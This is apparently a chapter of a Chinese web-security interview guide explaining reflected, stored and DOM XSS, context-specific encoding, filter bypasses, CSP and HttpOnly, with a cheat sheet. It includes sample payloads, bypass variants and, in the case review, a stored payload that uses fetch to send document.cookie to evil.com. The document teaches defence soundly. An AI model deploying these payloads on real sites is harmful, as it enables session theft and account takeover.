4. XSS面试题精讲

XSS是Web安全面试中区分度最高的知识点之一。面试官往往不会只问“XSS是什么”,而是通过触发链路、编码绕过、防御策略和真实案例四个维度,判断候选人是否真正理解浏览器解析机制与工程防御边界。本章围绕反射型、存储型、DOM型三类XSS,逐层展开可复现的链路分析与防御判断。

一、三类XSS的触发链路与本质差异

反射型XSS的链路是:攻击者构造带恶意参数的URL → 诱导受害者点击 → 服务端未过滤直接将参数拼入HTML响应 → 浏览器解析执行。其特点是“一次请求一次响应”,恶意代码不落库。典型示例:https://example.com/search?q=<script>alert(document.cookie)</script>,若服务端返回<div>搜索结果:<script>alert(document.cookie)</script></div>,脚本即执行。

存储型XSS的链路是:攻击者将恶意内容提交到服务端并持久化(如评论、昵称、工单)→ 其他用户访问展示该内容的页面 → 服务端从数据库读出并拼入HTML → 浏览器执行。其危害面最大,因为无需诱导点击,所有访问者都是受害者。面试中常追问“存储型XSS的入口和出口分别在哪里”,答案应明确:入口是写入接口,出口是渲染页面,两者可能在不同系统、不同编码上下文中。

DOM型XSS的链路完全发生在浏览器端:服务端响应中不含恶意代码,而是前端JavaScript从location.hash、location.search、document.referrer等源读取数据,并通过innerHTML、document.write、eval等危险汇聚点写入DOM。例如:

// 漏洞代码示例
var name = location.hash.substring(1);
document.getElementById("welcome").innerHTML = "欢迎 " + name;
// 访问 https://example.com/#<img src=x onerror=alert(1)> 即触发

三类XSS的核心差异在于“污染数据是否经过服务端”以及“执行发生在哪一层”。反射型和存储型属于服务端输出编码问题,DOM型属于前端JavaScript安全编码问题。面试中若能把这条边界讲清楚,已经超过多数候选人。

二、编码上下文与绕过手法

XSS防御的本质是“按输出上下文编码”。面试官常给出一个拼接点,要求候选人判断需要哪种编码。常见上下文包括:

  • HTML文本上下文:<div>用户输入</div>,需将& < > " '编码为HTML实体。
  • HTML属性上下文:<input value="用户输入">,除实体编码外,必须用引号包裹属性,否则空格即可逃逸。
  • URL上下文:<a href="#" aria-disabled="true" data-keke-missing-local-link="1" onclick="return false">,需校验协议,禁止javascript:、data:等伪协议。
  • JavaScript上下文:var x = '用户输入';,需做JS字符串转义,且不能简单用HTML实体替代。

绕过手法往往针对编码不完整或上下文判断错误。例如服务端只过滤了<script>,攻击者可用<img src=x onerror=alert(1)>;只过滤了alert,可用confirm或prompt;只做了小写匹配,可用<ScRiPt>;属性值未加引号时,可用空格加事件属性逃逸。面试中若被问到“如何绕过htmlspecialchars”,应指出:该函数默认只编码& < > " ',若输出在<script>标签内或href属性中,仍可能被利用,必须结合上下文选择编码函数。

三、CSP与HttpOnly的防御边界

HttpOnly的作用是禁止JavaScript读取Cookie,从而在XSS发生后保护会话凭证。设置方式为:Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Lax。但HttpOnly不能阻止XSS本身,攻击者仍可发起CSRF、篡改页面、窃取页面内敏感数据。面试中常问“HttpOnly能否完全防御XSS”,正确答案是:不能,它只降低Cookie窃取风险,属于纵深防御的一环。

CSP(内容安全策略)通过限制资源加载来源和脚本执行方式,显著降低XSS影响。一个较严格的策略示例:

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-随机值'; object-src 'none'; base-uri 'self'; frame-ancestors 'none'

其中script-src 'self'禁止内联脚本和外部域脚本,nonce允许特定内联脚本执行。面试中若被追问“CSP能否替代输出编码”,应回答:不能。CSP是缓解措施,若策略存在unsafe-inline或允许unsafe-eval,或存在JSONP端点、Angular等可被利用的库,仍可能被绕过。CSP的正确位置是“最后一道防线”,而非唯一防线。

四、前端框架安全与真实案例复盘

现代前端框架默认对插值做转义,例如React的{userInput}、Vue的{{ userInput }}都会自动编码。但危险API仍然存在:React的dangerouslySetInnerHTML、Vue的v-html、Angular的bypassSecurityTrustHtml。面试中常问“用了Vue是否就不会有XSS”,答案是否定的,只要使用v-html渲染用户输入,就等价于直接innerHTML。

真实案例复盘可参考某社交平台评论存储型XSS:攻击者在评论中提交<img src=x onerror=fetch('//evil.com?c='+document.cookie)>,服务端仅做了长度校验,前端用innerHTML渲染评论列表。结果所有查看该评论的用户Cookie被发送至攻击者服务器。修复方案分三层:服务端对评论内容做HTML实体编码后存储;前端改用textContent渲染;同时下发CSP并设置HttpOnly。这个案例说明,XSS修复必须同时覆盖输入、输出和浏览器策略三个层面。

五、面试速查清单

考点关键判断常见误区
反射型参数直接回显到响应HTML认为POST就不会反射
存储型恶意内容落库并在页面渲染只检查写入接口,忽略渲染出口
DOM型前端JS从可控源读取并写入危险汇聚点认为服务端过滤即可防御
编码按HTML/属性/URL/JS上下文分别编码统一用htmlspecialchars
CSP限制脚本来源,缓解而非根治认为CSP可替代输出编码
HttpOnly保护Cookie不被JS读取认为可阻止XSS执行
框架默认插值安全,危险API仍需人工审查认为用了框架就绝对安全

掌握以上链路、编码、策略与案例,面试中无论被问到哪一类XSS,都能从“数据从哪来、经过哪里、在哪执行、如何防御”四个问题出发,给出结构化且可落地的回答。